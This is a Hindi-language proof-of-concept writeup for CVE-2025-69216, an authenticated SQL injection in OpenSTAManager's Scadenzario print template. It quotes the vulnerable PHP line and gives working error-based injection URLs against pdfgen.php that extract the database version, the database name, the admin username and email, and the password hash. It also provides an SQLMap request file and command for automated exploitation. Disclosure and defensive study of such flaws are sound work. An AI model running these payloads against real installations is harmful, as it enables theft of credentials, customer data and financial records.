
CVE-2025-69216 के लिए प्रूफ-ऑफ-कॉन्सेप्ट रिपॉजिटरी, जो OpenSTAManager के Scadenzario प्रिंट टेम्पलेट में एक प्रमाणित SQL इंजेक्शन है, जो एरर-आधारित और ब्लाइंड SQLi के माध्यम से एडमिन क्रेडेंशियल्स और डेटाबेस सामग्री के निष्कर्षण को सक्षम बनाता है।
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2025-69216 |
| गंभीरता | उच्च |
| परामर्श | परामर्श देखें |
| खोजकर्ता | Lukasz Rybak |
OpenSTAManager के Scadenzario (भुगतान अनुसूची) प्रिंट टेम्पलेट में एक प्रमाणित SQL इंजेक्शन भेद्यता किसी भी प्रमाणित उपयोगकर्ता को डेटाबेस से संवेदनशील डेटा निकालने की अनुमति देती है, जिसमें एडमिन क्रेडेंशियल, ग्राहक जानकारी और वित्तीय रिकॉर्ड शामिल हैं। यह भेद्यता त्रुटि-आधारित SQL इंजेक्शन तकनीकों के माध्यम से पूर्ण डेटाबेस पढ़ने की पहुँच सक्षम बनाती है।
यह भेद्यता templates/scadenzario/init.php में पंक्ति 46 पर मौजूद है, जहाँ id_anagrafica पैरामीटर को उचित सैनिटाइज़ेशन के बिना सीधे SQL क्वेरी में जोड़ दिया जाता है:
संवेदनशील कोड:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
get() फ़ंक्शन बिना सत्यापन के GET/POST पैरामीटर से उपयोगकर्ता इनपुट प्राप्त करता है। एप्लिकेशन के prepare() सैनिटाइज़ेशन फ़ंक्शन का उपयोग करने के बजाय पैरामीटर मान को स्ट्रिंग संयोजन का उपयोग करके सीधे SQL क्वेरी स्ट्रिंग में एम्बेड किया जाता है, जिससे SQL इंजेक्शन हमले संभव होते हैं।
मूल कारण:
prepare() फ़ंक्शन का उपयोग न करनाप्रभावित एंडपॉइंट:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
प्रभावित फ़ाइलें:
templates/scadenzario/init.php (पंक्ति 46) - प्राथमिक भेद्यताtemplates/scadenzario/init.php (पंक्तियाँ 34, 40) - दिनांक पैरामीटर के साथ समान पैटर्नpdfgen.php - टेम्पलेट रेंडरिंग के लिए प्रवेश बिंदु1. भेद्यता की पुष्टि करें - बेसिक सिंटैक्स त्रुटि परीक्षण:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
एप्लिकेशन प्रतिक्रिया में SQL सिंटैक्स त्रुटि प्रदर्शित होती है

2. डेटाबेस संस्करण निकालें - त्रुटि-आधारित SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
परिणाम: ~8.3.0~ (MySQL संस्करण)

3. डेटाबेस का नाम निकालें:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
परिणाम: ~openstamanager~

4. एडमिन उपयोगकर्ता नाम निकालें:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
परिणाम: ~admin~

5. एडमिन ईमेल निकालें:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
परिणाम: एडमिन का ईमेल पता

6. पासवर्ड हैश निकालें (आंशिक - XPATH 31-वर्ण सीमा):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
परिणाम: bcrypt पासवर्ड हैश

7. SQLMap के साथ स्वचालित शोषण:
अनुरोध फ़ाइल sqli_osm.req बनाएँ:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
SQLMap चलाएँ:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap द्वारा पुष्टि किए गए इंजेक्शन प्रकार:

कौन प्रभावित है:
Łukasz Rybak द्वारा रिपोर्ट किया गया
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।